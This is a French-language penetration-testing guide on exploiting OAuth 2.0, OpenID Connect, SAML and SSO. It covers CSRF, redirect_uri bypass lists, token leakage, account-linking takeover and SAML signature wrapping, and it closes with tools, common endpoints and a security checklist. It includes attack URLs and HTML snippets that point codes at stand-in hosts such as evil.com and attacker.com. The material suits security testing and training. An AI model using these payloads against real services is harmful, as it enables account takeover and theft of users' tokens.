oauth-sso-exploitation

name	oauth-sso-exploitation
description	Guide complet d'exploitation OAuth 2.0, OIDC, SAML et SSO — CSRF, redirect URI, token leakage, account takeover, misconfiguration, flows OAuth avancés
category	cybersecurite

OAuth 2.0 / SSO — Exploitation Avancée

---

Comprendre les flux OAuth 2.0

Authorization Code Flow (le plus sécurisé — mais vulnérable)

Client → Auth URL → User login → Redirect avec code → 
Client → POST code + client_secret → Token endpoint → Access Token

Implicit Flow (obsolète — dangereux)

Client → Auth URL → User login → Redirect avec access_token dans l'URL
# Token exposé dans l'URL, l'historique, les logs, le referer

Client Credentials Flow

Client → POST client_id + client_secret → Token → API access
# Pour les communications M2M (server-to-server)

---

Attaques sur le flux Authorization Code

1. CSRF sur OAuth (Parameter Injection)

# L'attaquant démarre l'auth avec son provider
# et force la victime à accepter

# URL malveillante:
https://target.com/auth/login?
  response_type=code&
  client_id=CLIENT_ID_ATTAQUANT&    # ← injecté
  redirect_uri=https://target.com/callback&
  state=FAKE_STATE&
  scope=openid%20profile

2. Redirect URI Manipulation

# Tester des redirect_uri alternatives
https://target.com/callback
https://target.com/callback.html
https://target.com/callback.evil.com          # (subdomain confusion)
https://target.com/[e-mail]          # (URL parser confusion)
https://target.com/callback.evil.com/         # (dots confusion)
https://target.com%2Fcallback%2F              # (encodage)
https://target.com/callback/../evil.com
https://evil.com/                              # (si validé partiellement)
https://target.com/callback?url=https://evil.com  # (open redirect interne)

# Avec /../ bypass
https://target.com/oauth/callback?code=xxx -> redirect -> https://evil.com/steal
# Si le serveur a un open redirect sur le paramètre redirect_uri

3. CSRF Attack sur le callback

# 1. Attaquant crée son propre code d'autorisation
# 2. Force la victime à visiter:
<img src="https://target.com/callback?code=ATTACKER_CODE&state=...">

# 3. Le compte de la victime est lié au provider de l'attaquant
# → Account Takeover

4. State Parameter Validation

# Si le paramètre state n'est pas validé → pas de protection CSRF
# Tester:
- Supprimer le state
- State vide
- State fixe/répétable
- State non lié à la session

---

Attaques sur le token

5. Code Interception

# Le code d'autorisation est souvent dans l'URL / logs / referer
# Vérifier:
GET /callback?code=xxx&state=yyy HTTP/1.1
Referer: https://auth.provider.com/authorize?...

# Exploitation via:
# - Logs serveur (si le code est loggé)
# - Referer header (si le site partage les referers)
# - Historique navigateur
# - Proxy logs

6. Token Leakage via Referer

# Si le site charge des ressources externes
<img src="https://attacker.com/pixel.png">

# Le Referer header contient:
# https://target.com/callback?code=AUTHORIZATION_CODE&state=...

7. OAuth Token Reuse

# Un token OAuth est-il réutilisable sur plusieurs endpoints ?
# Vérifier le scope du token
# Test: utiliser un token API client sur admin.target.com

curl -H "Authorization: Bearer TOKEN" https://target.com/api/admin/users
curl -H "Authorization: Bearer TOKEN" https://admin.target.com/api/users

---

Attaques Spécifiques

8. Account Linking / Takeover

# Scénario:
# 1. L'attaquant crée un compte avec son email + OAuth Provider A
# 2. La victime a un compte avec email différent + OAuth Provider B
# 3. L'attaquant ajoute Provider B à son compte via un paramètre d'email non vérifié

# Ou:
# 1. Victime connectée avec Google à target.com
# 2. Attaquant démarre "add Facebook account" dans son navigateur
# 3. Victime clique sur un lien CSRF qui accepte le linking
# 4. Attaquant contrôle le compte victime via Facebook

# Exploitation:
GET /oauth/link?provider=facebook&access_token=ATTACKER_TOKEN

9. OpenID Connect (OIDC) Attacks

# OIDC ajoute un token ID (JWT) avec les claims utilisateur

# Attaques:
# - Modification du nonce (replay)
# - ID Token sans signature vérifiée
# - Attaque par confusions des claims (sub, email)

# Vérifier le nonce
GET /auth/callback?id_token=XXXXX&state=XXX
# Si le serveur ne valide pas le nonce → CSRF / Replay

10. SAML Attacks (SSO)

# SAML Response manipulation
# Modifier l'assertion XML avant la signature
# Ou supprimer la signature (si non vérifiée)

# Signature wrapping
# Envelopper la signature originale dans une nouvelle assertion
# Le validateur trouve une assertion signée... mais lit la nouvelle

# Outil: saml-raider (Burp Extension)

11. Provider Confusion

# Attaque multi-provider
# L'attaquant enregistre son propre OAuth Provider
# Config identique au provider légitime (même nom, icône)
# → L'utilisateur autorise le mauvais provider

---

Outils

Outil	Usage
Burp + Autorize	Tester ACL via OAuth tokens
OAUTH2Fuzzer (Burp)	Fuzzing OAuth flows
SAML Raider (Burp)	Test SAML/SSO
OAuth Scanner (Burp)	Scan auto OAuth
oauth2_proxy	Proxy avec OAuth
oauth-hacker	Scripts spécialisés

---

Détection des endpoints OAuth

# Endpoints communs
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
/oauth/authorize
/oauth/token
/oauth/revoke
/oauth/callback
/auth/login
/auth/callback
/saml/login
/saml/acs
/sso/login

---

Checklist

☐ Authorization code → CSRF si state non vérifié
☐ redirect_uri validation testée (parsing, open redirect, subdomain)
☐ Code d'autorisation réutilisable ?
☐ Token scope trop permissif ?
☐ Account linking CSRF ?
☐ Provider confusion possible ?
☐ SAML signature wrapping testé
☐ OIDC nonce validation testée
☐ Token leakage via Referer
☐ Client secret exposé (JS, mobile decompile)
☐ PKCE utilisé ? (S256 challenge)
☐ Expiration des tokens courte ?
☐ Rate limiting sur /token ?

Ressources

• HackTricks : https://book.hacktricks.wiki/en/pentesting-web/oauth-to-account-takeover.html
• PortSwigger OAuth : https://portswigger.net/web-security/oauth
• OAuth 2.0 Threat Model : https://tools.ietf.org/html/rfc6819
• PayloadsAllTheThings : https://github.com/swisskyrepo/PayloadsAllTheThings
• OAuth.com : https://www.oauth.com
• SAML Raider : https://github.com/SAMLRaider/SAMLRaider